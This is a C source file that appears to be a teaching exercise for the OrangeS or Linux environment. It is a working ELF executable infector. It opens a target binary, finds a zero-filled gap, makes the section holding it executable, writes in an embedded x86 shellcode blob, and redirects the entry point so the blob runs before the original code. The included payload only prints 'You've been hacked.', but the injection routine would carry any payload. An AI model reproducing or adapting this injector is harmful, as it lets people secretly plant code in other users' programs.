#define ORANGE

#ifdef ORANGE
#include <elf.h>
#include "stdio.h"
#endif

#ifdef LINUX
#include <elf.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#endif

#define ENTRY_OFF 10

typedef union dd{
	unsigned int i;
	unsigned char bytes[4];
}dd;

unsigned char shellcode_dump[] = {
  0x60, 0xeb, 0x0d, 0x5a, 0x31, 0xc0, 0xcd, 0x90, 0x61, 0xbb, 0x44, 0x43,
  0x42, 0x41, 0xff, 0xe3, 0xe8, 0xee, 0xff, 0xff, 0xff, 0x59, 0x6f, 0x75,
  0x27, 0x76, 0x65, 0x20, 0x62, 0x65, 0x65, 0x6e, 0x20, 0x68, 0x61, 0x63,
  0x6b, 0x65, 0x64, 0x2e, 0x0a, 0x00
};
unsigned int shellcode_dump_len = 42;

int main(int argc, char * argv[]){

	Elf32_Ehdr ehdr;
    Elf32_Phdr phdr;
	Elf32_Shdr shdr;

	if (argc != 2) {
		printf("Invalid Format. Usage:inject <filename>\n");
		return 1;
	}

	int fd = open(argv[1], O_RDWR);
	if (fd < 0) {
		printf("Fail to open file.\n");
		return 1;
	}

	read(fd, &ehdr, sizeof(ehdr));
	dd entryPoint;
	entryPoint.i = ehdr.e_entry;
	
    //check if the file is elf
 	if (ehdr.e_ident[0] != 0x7f || ehdr.e_ident[1] != 0x45 
	|| ehdr.e_ident[2] != 0x4c || ehdr.e_ident[3] != 0x46) {
		printf("%s is not a elf-format executable file.\n", argv[1]);
		return 1;
	}

	//getImageBase
	unsigned long ImageBase = 0;
	lseek(fd, 0, SEEK_SET);
	int phdr_num = ehdr.e_phnum;
	lseek(fd, ehdr.e_phoff, SEEK_SET);
	read(fd, &phdr, sizeof(phdr));
	for (int i = 0; i < phdr_num; i ++) {
		if (phdr.p_type == 1) {
			ImageBase = phdr.p_vaddr;
			printf("ImageBase:0x%x\n", ImageBase);
			break;
		}
		read(fd, &phdr, sizeof(phdr));
	}

	//find file offset to inject
	lseek(fd, 0, SEEK_SET);
	const int BUF_SIZE = 64;
	char buf[BUF_SIZE];
	int read_bytes = 0;
	int flag = 0;
	int off = 0;
	while ( (read_bytes = read(fd, &buf, BUF_SIZE)) > 0 ) {
		flag = 0;
		for (int i = 0; i < BUF_SIZE; i ++) {
			if (buf[i] != 0) {
				flag = 1;
				break;
			}
		}
		
		if (flag == 0) {
			break;
		}
		off += read_bytes;
	}
	if (flag == 1) {
		printf("can't find position to inject shellcode.\n");
		return 1;
	}
	
	//find the section of shellcode injected.
	int shnum = ehdr.e_shnum;
	int section_num = 0;
	lseek(fd, ehdr.e_shoff, SEEK_SET);
	for (int i = 0; i < shnum; i ++) {
		read(fd, &shdr, sizeof(shdr));
		
		if (off >= shdr.sh_offset) {
			section_num = i;
		}
	
	}
	if (section_num == 0) {
		lseek(fd, ehdr.e_shoff, SEEK_SET);
		read(fd, &shdr, sizeof(shdr));
		read(fd, &shdr, sizeof(shdr));
	}
	printf("find the injected section:%d\n", section_num);

	//make section executable and modify the size of section
	if (section_num > 0) {
		int soff = lseek(fd, ehdr.e_shoff + section_num * ehdr.e_shentsize, SEEK_SET);
		read(fd, &shdr, sizeof(shdr));
		shdr.sh_flags |= 0x04;
		if (off + shellcode_dump_len > shdr.sh_offset + shdr.sh_size) {
			shdr.sh_size = off - shdr.sh_offset + shellcode_dump_len;
		}
		lseek(fd, soff, SEEK_SET);
		write(fd, &shdr, sizeof(shdr));
	}
	else {
		int soff = lseek(fd, ehdr.e_shoff + ehdr.e_shentsize, SEEK_SET);
		shdr.sh_offset -= shellcode_dump_len;
		shdr.sh_size += shellcode_dump_len;
		shdr.sh_addralign = 0;
		off = shdr.sh_offset;
	    shdr.sh_addr = off;	
		write(fd, &shdr, sizeof(shdr));
				
	}
	
	//inject the shellcode
	shellcode_dump[ENTRY_OFF] = entryPoint.bytes[0];
	shellcode_dump[ENTRY_OFF + 1] = entryPoint.bytes[1];
	shellcode_dump[ENTRY_OFF + 2] = entryPoint.bytes[2];
	shellcode_dump[ENTRY_OFF + 3] = entryPoint.bytes[3];
	printf("code modified to old entry:");
	for(int i = 0; i < 4; i ++) {
		printf("%x ", entryPoint.bytes[i]);
	}
	printf("\n");
	printf("file offset to inject:0x%x\n", off);	

	lseek(fd, off, SEEK_SET);
	write(fd, &shellcode_dump, shellcode_dump_len);
	
	//modify entry point
	if (section_num > 0) {
		ehdr.e_entry = ImageBase + off;
	}
	else {
		phdr.p_filesz += shellcode_dump_len;
		phdr.p_memsz += shellcode_dump_len;
		phdr.p_vaddr = off;
		phdr.p_offset = off;
		phdr.p_align = 0;
		printf("Modify ImageBase to %x\n", off);

		lseek(fd, ehdr.e_phoff, SEEK_SET);
		write(fd, &phdr, sizeof(phdr));
		
		ehdr.e_entry = off;
	}
	lseek(fd, 0, SEEK_SET);
	write(fd, &ehdr, sizeof(ehdr));
	
	close(fd);
}



